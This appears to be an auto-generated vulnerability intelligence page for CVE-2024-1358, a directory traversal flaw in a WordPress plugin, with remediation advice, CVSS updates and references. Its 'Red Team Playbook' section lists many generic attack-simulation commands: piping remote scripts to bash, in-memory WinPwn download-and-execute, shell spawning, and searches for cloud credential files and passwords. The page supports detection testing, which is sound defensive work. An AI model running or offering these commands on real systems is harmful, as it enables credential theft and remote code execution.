CVE-2024-1358
Overview
This vulnerability is a directory traversal flaw rooted in insufficient validation of file path inputs within the render function of the Elementor Addon Elements WordPress plugin. The flaw allows manipulation of file inclusion paths, specifically enabling traversal outside intended directories. The affected component is the rendering mechanism responsible for loading PHP files, which fails to properly sanitize user-controllable input, leading to unauthorized file access.
Vulnerability Description
The Elementor Addon Elements plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.12.12 via the render function. This makes it possible for authenticated attackers, with contributor access or higher, to include the contents of arbitrary PHP files on the server, which may expose sensitive information.
Impact
An attacker with contributor or higher access can leverage this vulnerability to include and execute arbitrary PHP files on the server, potentially exposing sensitive data or escalating privileges. Exploitation requires authenticated access with low privileges but no user interaction beyond authentication. This can lead to data disclosure, code execution, and compromise of the WordPress environment. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network attack vector with low attack complexity and required privileges at the contributor level.
Solution
To remediate this vulnerability, upgrade the Elementor Addon Elements plugin to a version later than 1.12.12 where the directory traversal flaw in the render function is patched. Detailed patch information and updated source code are available in the WordPress plugin repository changelog and Wordfence advisory referenced at https://www.wordfence.com/threat-intel/vulnerabilities/id/20cd3fff-0488-4bc2-961b-2427925e6a96. No alternative workarounds are documented; applying the official update is required to resolve the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Elementor Addon Elements plugin for WordPress is characterized by a directory traversal flaw that affects all versions up to and including 1.12.12. This type of vulnerability allows an attacker to manipulate file paths in a way that enables them to access files and directories that are outside the intended scope of the application. Specifically, the issue arises within the render function of the plugin, which fails to adequately validate user input. As a result, authenticated users with contributor access or higher can exploit this weakness to include arbitrary PHP files from the server. This can lead to unauthorized access to sensitive information, potentially compromising the integrity and confidentiality of the web application.
The attack vectors for this vulnerability are particularly concerning due to the relatively low barrier to entry for potential attackers. Since only authenticated users with contributor privileges can exploit the flaw, it is likely that the attacker may already have some level of access to the WordPress environment. This could include users who have been granted permissions for legitimate purposes but may have malicious intent. An attacker could craft a request that manipulates the file path, allowing them to include sensitive files such as configuration files, database credentials, or even other PHP scripts that could facilitate further exploitation of the server. The exploitation of this vulnerability could lead to a complete compromise of the affected WordPress instance, allowing attackers to execute arbitrary code or escalate their privileges.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on WordPress for their online presence. The exposure of sensitive information can lead to data breaches, loss of customer trust, and potential legal ramifications. Additionally, if an attacker gains control over the server, they could deploy malware, deface the website, or use it as a launching point for attacks against other systems. The business risk associated with this vulnerability is compounded by the fact that many organizations may not have adequate security measures in place to detect or respond to such attacks. The potential for reputational damage and financial loss makes it imperative for organizations to take this vulnerability seriously.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First and foremost, it is crucial to ensure that all plugins, including the Elementor Addon Elements, are kept up to date with the latest security patches. Regularly auditing user permissions can also help limit the number of authenticated users who have access to potentially exploit the vulnerability. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests that attempt to exploit directory traversal flaws. Monitoring server logs for unusual access patterns or file inclusion attempts can also aid in early detection of potential exploitation.
In conclusion, the directory traversal vulnerability in the Elementor Addon Elements plugin poses a significant threat to WordPress installations, particularly for those with inadequate security measures. The ability for authenticated users to include arbitrary PHP files can lead to severe consequences, including data breaches and server compromise. Organizations must prioritize timely updates, user access management, and proactive monitoring to mitigate the risks associated with this vulnerability effectively. By adopting a comprehensive security strategy, businesses can better protect themselves against the potential fallout from such vulnerabilities.
The CVSS score for CVE-2024-1358 has been revised upward from 6.5 to 8.8, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment underscores a heightened risk profile, emphasizing that authenticated contributors can leverage the directory traversal flaw to include arbitrary PHP files, potentially leading to critical data exposure or server compromise. Although CSURFACE threat intelligence has not detected new exploit activity or proof-of-concept developments, the elevated severity score signals increased urgency for defenders to recognize the vulnerability’s potential for significant operational disruption. Our telemetry indicates that exploitation attempts remain stable without a marked escalation; however, the higher CVSS rating aligns with a broader industry consensus on the vulnerability’s seriousness. Consequently, the threat level should be considered elevated, warranting closer attention in risk management and monitoring strategies.
Update 2 — June 13, 2026
The CVSS score adjustment for CVE-2024-1358 from 8.8 to 6.5 reflects a refined understanding of the vulnerability’s exploitability and impact based on recent analysis. This recalibration indicates that while the vulnerability remains a credible risk, particularly for authenticated users with contributor-level access or higher, its potential for widespread or severe operational disruption is less acute than initially assessed. CSURFACE threat intelligence notes that the exploit prediction scoring (EPSS) remains low and stable, reinforcing that active exploitation or rapid adoption by threat actors has not materialized. Consequently, the threat level should be viewed as moderate, emphasizing the need for continued vigilance but without the urgency associated with higher-severity vulnerabilities. This nuanced risk profile assists defenders in prioritizing resources effectively, balancing the vulnerability’s presence against the current exploit landscape and observed attacker behavior.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Webtechstreet | Elementor Addon Elements | All |
cpe:2.3:a:webtechstreet:elementor_addon_elements:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1358 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/20cd3fff-0488-4bc2-961b-2427925e6a96?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3037925/addon-elements-for-elementor-page-builder/trunk/modules/shape-separator/widgets/shape-separator.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/addon-elements-for-elementor-page-builder/tags/1.12.12/modules/shape-separator/widgets/shape-separator.php#L89 |